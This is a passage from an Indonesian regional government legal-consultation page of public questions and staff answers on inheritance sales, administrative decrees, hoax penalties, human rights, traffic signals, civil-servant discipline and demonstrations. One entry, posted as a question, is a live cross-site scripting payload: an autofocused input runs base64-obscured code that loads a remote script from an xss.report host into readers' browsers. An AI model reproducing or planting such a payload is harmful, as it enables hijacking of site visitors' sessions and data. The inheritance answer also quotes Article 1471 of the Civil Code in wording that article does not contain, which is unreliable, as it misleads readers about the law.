  • Pertanyaan dari : Jamal

    Apa langkah hukum jika ada keluarga yang menjual aset tanah keluarga tanpa melibatkan ahli waris

      Assalamualaikum

      Selamat Pagi Pak Jamal

      Terima kasih telah berkunjung ke laman JDIH dan menggunakan website JDIH Bagian Hukum Setkab Kukar.

      Bahwa Pertanyaan yang saudara berikan melalui laman website kami, terkait dengan langkah hukum jika ada keluarga yang menjual aset tanah keluarga tanpa melibatkan ahli waris ?

    Terkait dengan pertanyaan Saudara, karena Saudara tidak menjelaskan lebih lanjut apakah anggota keluarga yang telah menjual tanah waris tanpa melibatkan ahli waris yang lain telah melakukan tindakan penipuan/pemalsuan persetujuan ahli waris yang lain atau tidak yang membuat anggota keluarga tersebut dapat melakukan penjualan tanah waris, maka kami mencoba menjawab dengan pendekatan hukum perdata dan juga hukum pidana.

    Sebelum kami menyebutkan langkah hukumnya perlu kami jelaskan terlebih dahulu dasar hukum pada Kitab Undang-Undang Hukum Perdata dan Kitab Undang-Undang Hukum Pidana saat ini yang berhubungan dengan pertanyaan saudara.

    Dasar Hukum yang berkaitan dengan pertanyaan saudara diatur sebagai berikut:

    1. Pasal 1365 KUHPerdata mengatur tentang perbuatan melawan hukum dan pasal ini menjadi dasar hukum untuk menggugat ganti rugi akibat perbuatan melawan hukum yang berbunyi “Setiap perbuatan yang melanggar hukum dan membawa kerugian kepada orang lain, mewajibkan orang yang menimbulkan kerugian itu untuk menggantikan kerugian tersebut.”
    2. Pasal 1471 KUHPerdata mengatur bahwa jual beli tanah warisan tanpa persetujuan seluruh ahli waris batal demi hukum yang berbunyi “Jual beli tanah warisan tanpa persetujuan seluruh ahli waris adalah batal.”
    3. Pasal 263 ayat (1) dan ayat (2) KUHPidana tentang tindak pidana pemalsuan berbunyi :
    • Barangsiapa membuat surat palsu atau memalsukan surat, yang dapat menerbitkan sesuatu hak, sesuatu perjanjian (kewajiban) atau sesuatu pembebasan utang, atau yang boleh dipergunakan sebagai keterangan bagi sesuatu perbuatan, dengan maksud akan menggunakan atau menyuruh orang lain menggunakan surat-surat itu seolah-olah surat itu asli dan tidak dipalsukan, maka kalau mempergunakannya dapat mendatangkan sesuatu kerugian dihukum karena pemalsuan surat, dengan hukuman penjara selama-lamanya enam tahun.
    • Barangsiapa dengan sengaja menggunakan surat palsu atau yang dipalsukan itu seolah-olah surat itu asli dan tidak dipalsukan, kalau hal mempergunakan dapat mendatangkan sesuatu kerugian.
    1. Pasal 378 KUHPidana tentang tindak pidana penipuan berbunyi “Barang siapa dengan maksud untuk menguntungkan diri sendiri atau orang lain secara melawan hukum, dengan memakai nama palsu atau martabat palsu, dengan tipu muslihat, ataupun rangkaian kebohongan, menggerakkan orang lain untuk menyerahkan barang sesuatu kepadanya, atau supaya memberi hutang maupun menghapuskan piutang, diancam karena penipuan dengan pidana penjara paling lama 4 tahun”

     

    Bahwa berdasarkan hal tersebut diatas, maka menurut hemat kami langkah hukum yang dapat diambil jika ada anggota keluarga yang menjual aset tanah waris keluarga tanpa melibatkan atau seijin ahli waris lainnya adalah sebagai berikut:

    1. mengupayakan penyelesaian secara kekeluargaan terlebih dahulu (mediasi keluarga), hal ini menurut pendapat kami perlu terlebih dahulu untuk dilakukan karena mengingat hal ini merupakan upaya yang paling ideal dalam penyelesaian sengketa dan juga lebih menghemat waktu serta biaya dalam penyelesaian sengketanya.
    2. mengirimkan surat somasi atau teguran hukum kepada pihak yang menjual tanah (anggota keluarga) dan/atau pembeli tanah agar memberikan kesempatan kepada yang bersangkutan untuk menyelesaikan permasalahan serta menunjukkan itikad baik Saudara sebelum Saudara mengajukan gugatan ke pengadilan.
    3. jika somasi diabaikan maka pihak ahli waris yang dirugikan dapat mengajukan gugatan perdata di Pengadilan Negeri dengan berdasarkan Perbuatan Melawan Hukum sebagaimana diatur dalam Pasal 1365 KUHPerdata sekaligus meminta pembatalan jual beli dengan berdasarkan Pasal 1471 KUHPerdata.
    4. apabila ada unsur penipuan/pemalsuan dalam proses jual beli yang telah dilakukan oleh anggota keluarga yang melakukan penjualan tanah waris (misal menggunakan surat palsu, tandatangan palsu atau mengaku sebagai satu-satunya ahli waris), maka Saudara juda dapat melaporkan perbuatan tersebut ke kepolisian atas dugaan penipuan atau pemalsuan dokumen.

      Demikian jawaban dari kami terkait dengan langkah hukum jika ada keluarga yang menjual aset tanah keluarga tanpa melibatkan ahli waris sebagaimana ditanyakan oleh saudara, semoga bermanfaat dan terima kasih.

     

    Salam hormat,

     

    Tim Pengasuh

  • Pertanyaan dari : Ansorullah

    Dalam menetapkan SK, apabila dasar menimbang (yuridis) yang dipakai tidak sesuai dengan peraturan yang berlaku, apakah SK tersebut tetap berlaku?

    Assalamualaikum

    Halo ANSORULLAH,

    Terima kasih sudah mengakses Website JDIH Bagian Hukum Pemerintah Daerah Kabupaten Kutai Kartanegara.

    Kami mengapresiasi pertanyaan yang anda sampaikan.

     

    Bahwa terhadap pertanyaan anda mengenai “dalam menetapkan SK, apabila dasar menimbang (yuridis) yang dipakai tidak sesuai dengan peraturan yang berlaku, apakah SK itu tetap berlaku”.

    Bahwa syarat sah suatu Keputusan yang dibuat meliputi :

    1. Ditetapkan oleh Pejabat yang berwenang;
    2. Dibuat sesuai prosedur;
    3. Substansi yang sesuai dengan obyek Keputusan;

    Bahwa suatu Keputusan yang dibuat dan telah memenuhi syarat sah tersebut, namun memiliki dasar pertimbangan yuridis yang tidak sesuai dengan peraturan yang berlaku, tidak membuat Keputusan tersebut otomatis tidak berlaku. Keputusan tersebut tetap berlaku selama tidak ada pembatalan.

    Untuk membatalkan suatu Surat Keputusan, memerlukan syarat pembatalan :

    1. Cacat prosedur, wewenang dan/atau substansi;
    2. Dibatalkan oleh Pejabat yang menerbitkan Keputusan tersebut;
    3. Dibatalkan oleh Atasan Pejabat yang menerbitkan Keputusan tersebut; atau
    4. Dibatalkan oleh atas putusan/perintah Pengadilan;

    Hal tesebut berdasarkan Asas Praesumptio Iustae Cause serta Pasal 33 ayat (2), Pasal 64 ayat (3) dan Pasal 66 ayat (3) Undang-Undang Nomor 30 Tahun 2014 tentang Administrasi Pemerintahan.

    Demikian saran kami atas pertanyaan saudara, semoga bermanfaat.

     

    Hormat Kami,

    Tim Pengasuh.

  • Pertanyaan dari : Dedi

    Bagaimana ancaman pidana bagi pelaku penyebaran hoax menurut undang-undang informasi dan transaksi elektronik (UUITE)?

    Assalamualaikum Wr Wb

    Selamat Siang Bapak Dedi, terima kasih telah berkunjung dan mengakses melaui website JDIH Bagian Hukum Setkab Kutai Kartanegara.

    Kami sangat mengapresiasi konsultasi hukum yang bapak sampaikan melalui website kami.

    Hoax adalah suatu kata yang digunakan untuk menunjukan pemberitaan palsu atau usaha untuk menipu atauy mengakali pembaca untuk mempercayai sesuatu. Pemberitaan yang tidak berdasarkan kenyataan atau kebenaran (nonfactual) disebarkan untuk maksud tertentu.

    Tujuan Hoax misalnya sekadar lelucon, iseng, hingga membentuk opini publik. Pada intinya hoax adalah sesat dan menyesatkan, apalagi jika pengguna internet tidak kritis dan langsung membagikan berita bohong yang dibaca kepada pengguna internet lainnya. Istilah Hoax tidak dikenal dalam peraturan perundang-undangan Indonesia, melainkan istilah yang dikenal adalah “Berita Bohong”.

    • Hoax yang mengakibatkan kerugian material bagi konsumen dalam transaksi elektronik, menurut Pasal 28 Ayat (1) jo. Pasal 45 A (1) Undang-Undang Nomor 1 Tahun 2024 “setiap orang dengan sengaja mendistribusikan dan/atau Dokumen Elektronik yang berisi pemberitahuan bohong atau informasi menyesatkan yang mengakibatkan kerugian material bagi konsumen dalam Transaksi Elektronik dipidana dengan pidana penjara paling lama 6 (enam) tahun dan/atau denda paling banyak Rp. 1.000.000.000,- (satu miliar rupiah)".
    • Hoax yang menimbulkan rasa kebencian atau permusuhan terhadap individu dan/atau kelompok masyarakat tertentu, menurut Pasal 28 Ayat (2) jo. Pasal 45 A (2) Undang-Undang Nomor 1 Tahun 2024 “setiap orang dengan sengaja tanpa hak mendistribusikan dan/atau mentransmisikan informasi elektronik dan/atau Dokumen Elektronik yang sifatnya menghasut, mengajak, atau mempengaruhi orang lain sehingga menimbulkan rasa kebencian atau permusuhan terhadap individu dan/atau kelompok masyarakat tertentu berdasarkan ras, kebangsaan etnis, warna kulit, agama, kepercayaan, jenis kelamin, disabilitas mental, atau disabilitas fisik dipidana dengan pidana penjara paling lama 6 (enam) tahun dan/atau denda paling banyak Rp. 1.000.000.000,- (satu miliar rupiah)".
    • Hoax yang menimbulkan kerusuhan, menurut Pasal 28 Ayat (3) jo. Pasal 45 A (3) Undang-Undang Nomor 1 Tahun 2024 “setiap orang dengan sengaja menyebarkan informasi elektronik dan/atau dokumen elektronik yang diketahuinya memuat pemberitahuan bohong yang menimbulkan kerusuhan di masyarakat dipidana dengan pidana penjara paling lama 6 (enam) tahun dan/atau denda paling banyak Rp. 1.000.000.000,- (satu miliar rupiah)".

    Jadi pelaku penyebar Hoax atau Berita Bohong bisa dikenai hukuman penjara maksimal 6 (enam) tahun dan/atau denda hingga Rp. 1.000.000.000,- (satu miliar rupiah) tergantung pada jenis dan dampak dari Hoax atau Berita Bohong yang disebarkan.

    Demikian jawaban dari kami terkait dengan bagaimana ancaman pidana bagi pelaku Hoax menurut UU ITE, sebagaimana yang ditanyakan saudara, semoga bermanfaat.

     

    Hormat kami,

    Tim Pengasuh

  • Pertanyaan dari : Ratna

    Apa yang dimaksud dengan perlindungan hak asasi manusia (HAM) dan apa saja bentuk perlindungan Hak Asasi Manusia (HAM) di Indonesia ?

    Selamat Pagi Bu Ratna,

    Terima kasih telah berkunjung ke laman website JDIH Bagian Hukum Setkab. Kutai Kartanegara

    Terkait dengan pertanyaan ibu melalui laman website kami, apa yang dimaksud dengan perlindungan Hak Asasi Manusia dan apa saja bentuk perlindungannya.

     

    Berdasarkan peraturan perundang-undangan dibidang Hak Asasi Manusia kami tidak menemukan definisi spesisifik mengenai arti perlindungan hak asasi manusia, peraturan perundang-undangan hanya memberikan definisi mengenai arti Hak Asasi Manusia sebagaimana disebutkan dalam Pasal 1 angka 1 Undang-Undang Nomor 39 Tahun 1999 tentang Hak asasi Manusia yang menyebutkan “Hak Asasi Manusia adalah seperangkat hak yang melekat pada hakikat dan keberadaan manusia sebagai mahkluk Tuhan Yang Maha Esa dan merupakan anugerah Nya yang wajib dihormati, dijunjung tinggi dan dilindungi oleh negara, hukum, Pemerintah, dan setiap orang demi kehormatan serta perlindungan harkat dan martabat manusia”.

    Sedangkan menurut Kamus Besar Bahasa Indonesia kata Perlindungan mempunyai arti 1 tempat berlindung; 2 hal (perbuatan dan sebagainya) memperlindungi.

    Maka berdasarkan hal tersebut diatas Perlindungan Hak Asasi Manusia dapat diartikan adalah suatu tempat berlindung atau suatu perbuatan untuk melindungi hak-hak dasar yang dimiliki oleh setiap orang individu, tanpa memandang ras, jenis kelamin, agama, etnis atau status social dengan tujuan untuk tercapainya kehormatan serta perlindungan harkat dan martabat manusia .

    Sedangkan mengenai bentuk perlindungan Hak Asasi Manusia di Indonesia telah tersirat didalam Undang-Undang Nomor 39 Tahun 1999 tentang Hak asasi Manusia yang mengamanatkan pembentukan Komisi HAM, Pengadilan HAM sebagai tempat untuk melaporkan dan memproses apabila diduga terjadi pelanggaran HAM serta melibatkan peran serta Masyarakat dalam penegakan HAM baik secara individu maupun berkelompok melalui Lembaga Swadaya Masyarakat,

     

    Demikian jawaban dari kami terkait dengan apa yang dimaksud dengan perlindungan HAM dan apa saja bentuk perlindungan HAM di Indonesia, seperti yang ibu tanyakan melalui laman website JDIH, semoga bermanfaat dan terima kasih.

     

    Salam Hormat,

    Tim Pengasuh

  • Pertanyaan dari : Halimah

    Apakah ada sanksi hukum bagi pengendara motor yang menyalakan lampu sein kiri tetapi belok ke kanan?

    Selamat Pagi Ibu Halimah, terima kasih telah mengakses website JDIH Bagian Hukum Setkab Kutai Kartanegara.

    Terkait pertanyaan Ibu mengenai pengendara atau pengemudi kendaraan bermotor lain yang akan berbelok kanan namun menyalakan lampu sein kiri, tentunya prilaku pengendara seperti itu dapat membahayakan pengemudi kendaraan bermotor lain di jalan, akan tetapi hal tersebut sering ditemukan, bagaimana jika terjadi demikian?

    Menurut Pasal 112 Ayat (1) Undang-Undang Nomor 22 Tahun 2009 tentang Lalu Lintas Dan Angkutan Jalan, Pengemudi kendaraan bermotor yang akan berbelok atau berbalik arah wajib mengamati situasi lalu lintas didepan, disamping dan dibelakang kendaraan, serta memberikan isyarat dengan lampu penunjuk arah atau isyarat tangan.

    Selain itu dalam Pasal 112 Ayat (2) Undang-Undang Nomor 22 Tahun 2009, disebutkan bahwa pengemudi kendaraan yang akan berpindah lajur atau bergerak kesamping wajib mengamati situasi lalu lintas didepan, disamping, dan dibelakang kendaraan serta memberikan isyarat.

    Didalam Pasal 112 Ayat (1) dan Ayat (2) Undang-Undang Nomor 22 Tahun 2009, tidak disebutkan secara eksplisit bahwa dalam memberikan isyarat dengan lampu penunjuk arah pada saat pengemudi akan berbelok atau berbalik arah, pindah lajur atau bergerak kesamping harus sesuai dengan arah kemana si pengemudi akan bergerak, namun dalam Pasal 106 Ayat (1) Undang-Undang Nomor 22 Tahun 2009 menyebutkan bahwa setiap orang yang mengemudikan kendaraan bermotor di jalan wajib mengemudikan kendaraannya dengan wajar dan penuh konsentrasi.

    Wajar menurut Kamus Besar Bahasa Indonesia (KBBI) diartikan sebagai :

    1. Biasa sebagaimana adanya tanpa tambahan apapun;
    2. Menurut keadaan yang ada, sebagaimana mestinya.

     

     

     

     

    Pengemudi kendaraan bermotor yang akan berbelok kekanan namun menyalakan lampu sein ke kiri merupakan suatu perbuatan yang tidak wajar dan dapat membuat pengemudi lain menjadi ragu, selain itu dapat membahayakan keamanan dan keselamatan lalu lintas.

    Perbuatan tersebut dapat diancam dengan Pidana Kurungan paling lama 3 (tiga) bulan atau denda paling banyak Rp. 750.000,-.

    Pasal 283 berbunyi:

     “ setiap orang yang mengemudikan kendaraan bermotor dijalan secara tidak wajar dan melakukan kegiatan lain atau dipengaruhi oleh suatu keadaan yang mengakibatkan gangguan konsentrasi dalam mengemudi dijalan sebagaimana dimaksud dalam pasal 106 ayat (1) dipidana dengan pidana kurungan paling lama 3 (tiga) bulan atau denda paling banyak Rp.750.000,- “

     

    Tindakan atau prilaku pengendara seperti ini dianggap membahayakan karena bisa menyebabkan kecelakaan lalu lintas, oleh sebab itu penting bagi pengendara untuk lebih berhati-hati dan memahami aturan berkendara, selain penegakan hukum, pendidikan berlalu lintas dan kesadaran masyarakat juga sangat penting untuk mencegah pelanggaran serupa.

     

    Demikian jawaban dari kami terkait dengan pertanyaan ibu, semoga bermanfaat dan kami ucapkan terima kasih.

     

    Salam Hormat,

    Tim Pengasuh

  • Pertanyaan dari : IZIN LAPOR PAK

    "><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzLnJlcG9ydC9jL2tpbGx1Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw&#61;&#61; autofocus>

    silahkan pak ada apa?

  • Pertanyaan dari : M. Thoriq

    Apakah sanksi bagi PNS yang tidak melaporkan perkawinan dan tidak melaporkan perceraian selama berkerja di Pemerintahan?

    Assalamualaikum

      Pagi Pak M. Thoriq

      Terima kasih telah berkunjung dan mengakses melalui website JDIH Bagian Hukum Setkab Kukar.

      Bahwa Pertanyaan yang saudara berikan melalui laman website kami terkait sanksi bagi Pegawai Negeri Sipil apabila tidak melaporkan perkawinan dan tidak melaporkan perceraian selama bekerja di Pemerintahan?

    Bahwa berdasarkan ketentuan dalam Pasal 15 ayat (1) Peraturan Pemerintah Nomor 45 Tahun 1990 tentang Perubahan Atas Peraturan Pemerintah Nomor 10 Tahun 1983 tentang Izin Perkawinan dan Perceraian bagi Pegawai Negeri Sipil menyebutkan “Pegawai Negeri Sipil yang melanggar salah satu diantaranya tidak melaporkan perceraiannya dalam jangka waktu selambat-lambatnya 1 (satu) bulan terhitung mulai terjadinya perceraian, dan tidak melaporkan perkawinannya yang kedua/ketiga/keempat dalam jangka waktu selambat-lambatnya 1 (satu) tahun terhitung sejak perkawinan tersebut dilangsungkan, dijatuhi salah satu hukuman disiplin berat”.

    Bahwa saat ini mengenai hukuman disiplin bagi Pegawai Negeri Sipil diatur dalam Peraturan Pemerintah Nomor 94 Tahun 2021 tentang Disiplin Pegawai Negeri Sipil, Dimana mengenai Pegawai Negeri Sipil yang melanggar ketentuan dalam Peraturan Pemerintah Nomor 45 Tahun 1990, dijatuhi hukuman disiplin berat berdasarkan Peraturan Pemerintah Nomor 94 Tahun 2021 sebagaimana disebutkan dalam Pasal 41

      Bahwa jenis hukuman disiplin berat  dalam Peraturan Pemerintah Nomor 94 Tahun 2021 disebutkan dalam Pasal 8 ayat (4), yakni :

    1. Penurunan jabatan setingkat lebih rendah selama 12 (dua belas) bulan;
    2. Pembebasan dari jabatan pelaksana selama 12 (dua belas) bulan; dan
    3. Pemberhentian dengan hormat tidak atas permintaan sendiri sebagai PNS.

    Berdasarkan hal tersebut diatas menjawab pertanyaan saudara, Hukuman disiplin atau pelanggaran disiplin bagi Pegawai Negeri Sipil yang tidak melaporkan perkawinan dan tidak melaporkan perceraian selama bekerja di Pemerintahan tersebut dijatuhi salah satu jenis hukuman disiplin berat berdasarkan Pasal 15 ayat (1) Peraturan Pemerintah Nomor 45 Tahun 1990, Pasal 8 ayat (4) dan Pasal 41 Peraturan Pemerintah Nomor 94 Tahun 2021.

      

      Demikian jawaban dari kami terkait dengan hukuman disiplin bagi Pegawai Negeri Sipil sebagaimana ditanyakan oleh saudara, semoga bermanfaat dan terima kasih.  

    Salam Hormat,

     

    Tim Pengasuh

  • Pertanyaan dari : Ibu Amel

    Selamat siang, Saya Amel. Saya ingin menanyakan, seumpama Ibu A yang ketika menjadi PNS pada tahun 2010, SK pengangkatan dari Badan Kepegawaian Negara dan kemudian dengan jabatan terakhirnya adalah Kepala Bidang salah satu OPD di Kabupaten Z. Pada tahun 2021, Ibu A mendapatkan surat pemecatan dari Bupati Kabupaten Z dengan melanggar disiplin kepegawaian. Pertanyaan saya, Apakah Bupati Kabupaten Z berwenang memecat Ibu A,sedangkan ibu A bukan diangkat oleh Bupati tersebut. Terima kasih.

    Selamat Pagi Ibu Amel.

    Terima kasih sudah mengakses dan menyampaikan konsultasi hukum, atas pertanyaan yang anda sampaikan melalui laman elektronik JDIH kami.

     

    Sebelum menjawab pertanyaan Saudara, didalam peraturan kepegawaian tidak dikenal istilah pemecatan melainkan pemberhentian tidak atas permintaan sendiri dan pemberhentian tidak dengan hormat sebagaimana disebutkan dalam Pasal 52 ayat (1) huruf b dan ayat (4) UU Nomor 20 Tahun 2023 tentang Aparatur Sipil Negara

     

    Dalam Pasal 52 ayat (3) dan ayat (4) UU Nomor 20 Tahun 2023 disebutkan:

    Ayat (3)

    ”Pemberhentian tidak atas permintaan sendiri bagi pegawai ASN dilakukan apabila:

    1. melakukan penyelewengan terhadap Pancasila dan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945;
    2. meninggal dunia;
    3. mencapai batas usia pensiun jabatan dan/atau berakhirnya masa perjanj ian kerja;
    4. terdampak perampingan organisasi atau kebijakan pemerintah;
    5. tidak cakap jasmani dan/atau rohani sehingga tidak dapat menjalankan tugas dan kewajiban;
    6. tidak berkinerja;
    7. melakukan pelanggaran disiplin tingkat berat;
    8. dipidana dengan pidana penjara berdasarkan putusan pengadilan yang telah memiliki kekuatan hukum tetap karena melakukan tindak pidana dengan pidana penjara paling singkat 2 (dua) tahun;
    9. dipidana dengan pidana penjara atau kurungan berdasarkan putusan pengadilan yang telah memiliki kekuatan hukum tetap karena melakukan tindak pidana kejahatan jabatan atau tindak pidana kejahatan yang ada hubungannya dengan jabatan; dan/ atau
    10. menjadi anggota dan/atau pengurus partai politik.

    Ayat (4)

    Pemberhentian Pegawai ASN karena sebab sebagaimana dimaksud pada ayat (3) huruf a, huruf g, huruf i, dan huruf j dikategorikan sebagai pemberhentian tidak dengan hormat.

    Berdasarkan pertanyaan yang Anda ajukan Ibu A diberhentikan karena telah melakukan pelanggaran disiplin maka kami  artikan bahwa Ibu A telah melakukan pelanggaran disiplin Tingkat berat sebagaimana disebutkan dalam Pasal 52 ayat (3) huruf g UU ASN, sehingga pemberhentiannya merupakan pemberhentian dengan tidak dengan hormat sebagaimana diatur dalam Pasal 52 ayat (4) UU ASN.

     

    Terkait Pertanyaan anda terkait Apakah Bupati Kabupaten Z berwenang dalam memecat/melakukan pemberhentian dengan tidak hormat kepada Ibu A yang saat itu menjabat pada sebagai Kepala Bidang pada OPD di Kabupaten Z, karena tidak Saudara jelaskan Ibu A dalam menjabat tersebut sebelumnya telah melakukan mutasi status kepegawaian  ke Kabupaten Z atau tidak, maka kami asumsikan Ibu A dalam menduduki Jabatan sebelumnya telah melakukan mutasi status kepegawaian  kepada Kabupaten Z.

     

    Bahwa dalam Pasal 29 ayat (1) UU ASN jo Pasal 3 ayat (2) dan ayat (3) PP Nomor 17 Tahun 2020 tentang Perubahan atas PP 11 Tahun 2017 Tentang Manajemen Pegawai Negeri Sipil mengatur bahwa Presiden selaku pemegang kekuasaan pemerintahan dalam pembinaan Pegawai ASN dapat mendelegasikan kewenangan menetapkan pengangkatan, pemindahan, dan pemberhentian pejabat selain pejabat pimpinan tinggi utama, selain pejabat pimpinan tinggi madya, dan selain pejabat fungsional tertinggi kepada:

    1. menteri di kementerian;
    2. pimpinan lembaga di lembaga pemerintah nonkementerian;
    3. pimpinan sekretariat di lembaga negara dan lembaga nonstruktural;
    4. gubernur di provinsi; dan
    5. bupati/walikota di kabupaten/kota

     

    Lebih lanjut di dalam PP 94/2021 tentang Disiplin PNS dalam Pasal 37 ayat (1) dinyatakan:

     Setiap penjatuhan Hukuman Disiplin ditetapkan dengan keputusan Pejabat yang Berwenang Menghukum. 

    Selanjutnya dalam Pasal 18 ayat (3) huruf c PP 94/2021 mengatur mengenai kewenangan Pejabat Pembina Kepegawaian Instansi Daerah Kabupaten/Kota dalam menetapkan penjatuhan Hukuman Disiplin bagi Pejabat Administrator ke bawah di lingkungannya untuk jenis Hukuman Disiplin berat yang salah satunya tentang pemberhentian dengan hormat tidak atas permintaan sendiri.

    Menjawab pertanyaan Saudara, berdasarkan hal tersebut diatas mengingat jabatan dan jenis pelanggaran yang dilakukan oleh Ibu A, maka Bupati Kabupaten Z berwenang untuk melakukan pemberhentian tidak atas permintaan sendiri kepada Ibu A karena mempunyai kewenangan yang didelegasikan oleh Presiden untuk melakukan pemberhentian PNS sebagaimana diatur dalam Pasal 29 ayat (1) UU ASN jo Pasal 3 ayat (2) dan ayat (3) PP Nomor 17 Tahun 2020 tentang Perubahan atas PP 11 Tahun 2017 Tentang Manajemen Pegawai Negeri Sipil dan Pasal 18 ayat (3) huruf c PP 94/2021

    Demikian Jawaban dari kami terkait pertanyaan ibu sebagaimana disampaikan diatas, semoga bermanfaat.

     

    Hormat Kami,

     

    Tim Pengasuh

  • Pertanyaan dari : Rahmatullah

    Selamat pagi, saya bapak Rahmatulah, Saya ingin bertanya tentang Demonstrasi. Apakah Demonstrasi itu diperbolehkan atau di larang? Jika diperbolehkan apa dasar hukumnya?

    Selamat Pagi Bapak Rahmatulah,

    Demonstrasi (Demo / Unjuk rasa) adalah sebuah gerakan protes yang dilakukan sekumpulan orang di hadapan umum. Demonstrasi pada dasarnya tidak dilarang, bahkan dilindungi oleh undang-undang, namun perlu memperhatikan beberapa hal-hal agar tidak melanggar hukum.

    Salah satu ketentuan yang mengatur demonstrasi adalah UU Nomor 9 Tahun 1998 tentang Kemerdekaan Menyampaikan Pendapat di Muka Umum. Dalam undang-undang ini, demonstrasi adalah kegiatan yang dilakukan oleh seorang atau lebih untuk mengeluarkan pikiran dengan lisan, tulisan, dan sebagainya secara demonstratif di muka umum

    Demonstrasi diperbolehkan jika  dilakukan di tempat-tempat terbuka untuk umum. Tempat-tempat  yang tidak diperbolehkan/terlarang dijadikan tempat Demonstrasi adalah  lingkungan istana kepresidenan, tempat ibadah, instalasi militer, rumah sakit, pelabuhan udara atau laut, stasiun kereta api, terminal angkutan darat, dan obyek-obyek vital nasional. Kegiatan Demonstrasi juga  tidak boleh dilakukan pada hari besar nasional, tidak mengganggu kepentingan umum dan setiap kegiatan demonstrasi juga harus mendapat izin dari pihak kepolisian.

    Demonstrasi yang dilarang adalah Demonstrasi yang bersifat anarkis, menyebar kebencian dan permusuhan, di tempat-tempat yang terlarang ,atau Demonstrasi tanpa pemberitahuan dan di luar waktu yang di tentukan.

    Jadi dapat di simpulkan bahwa Demonstrasi di perbolehkan dan dilindungi oleh Undang-undang, namun harus sesuai dengan aturan yang berlaku, karena setiap demonstrasi yang melanggar aturan dan menggangu kepentingan umum akan disanksi hukum.

    Demikan penjelasan kami, semoga bermanfaat, terima kasih

    Hormat Kami,

    Tim Pengasuh

  • Pertanyaan dari : KUSUMA AJI

    PERBUP berapa tentang honorarium/insentif untuk bidan sebagai nakes desa

    Halo KUSUMA AJI,

    Terima kasih sudah mengakses Website JDIH Bagian Hukum Pemerintah Daerah Kabupaten Kutai Kartanegara.

    Kami sangat mengapresiasi konsultasi hukum yang anda sampaikan.

    Bahwa menjawab pertanyaan anda mengenai “perbup berapa tentang honorarium/insentif untuk bidan sebagai nakes Desa”, terkait honorarium/insentif untuk bidan sebagai nakes (tenaga Kesehatan) Desa sampai saat ini belum diatur secara khusus dalam Peraturan Bupati, mengingat Desa mempunyai kewenangan dan kebutuhan yang berbeda-beda, sehingga Pemerintah Desa dapat menganggarkan besaran honorarium/insentif untuk Bidan sebagai Nakes Desa dengan mengacu pada Peraturan Bupati Kutai Kartanegara Nomor 1 Tahun 2024 Tentang Pedoman Penyusunan Anggaran Pendapatan Dan Belanja Desa Tahun Anggaran 2024.

    Sebagai tambahan informasi saat ini Pemerintah Kabupaten Kutai Kartanegara sejak tahun 2023 telah mempunyai program “Satu Desa Satu Bidan Satu Perawat”. Program ini bertujuan meningkatkan pelayanan dibidang Kesehatan yang menunjang Kesehatan Masyarakat Desa dan untuk memberdayakan masyarakat desa dengan cara menyerap tenaga kerja lokal yang kualifikasi pendidikan dan kemampuan memenuhi kompetensi sebagai bidan dan perawat.

    Guna memaksimalkan pelaksanaan program tersebut, Pemerintah Kabupaten Kutai Kartanegara telah menetapkan bantuan kepada Tenaga Kesehatan Desa berdasarkan Peraturan Bupati Kutai Kartanegara Nomor 63 Tahun 2021 tentang Bantuan Keuangan Khusus kepada Desa, Besaran Bantuan Keuangan Khusus kepada Desa Penerima Bantuan Khusus Desa untuk RT, Pos Pelayanan Terpadu, Tenaga Kesehatan, Listrik Desa, Sarana dan Prasarana Desa serta Lomba Desa.

    Demikian Jawaban dari kami terkait dengan honorarium/insentif untuk bidan sebagai nakes Desa sebagaimana ditanyakan, semoga bermanfaat.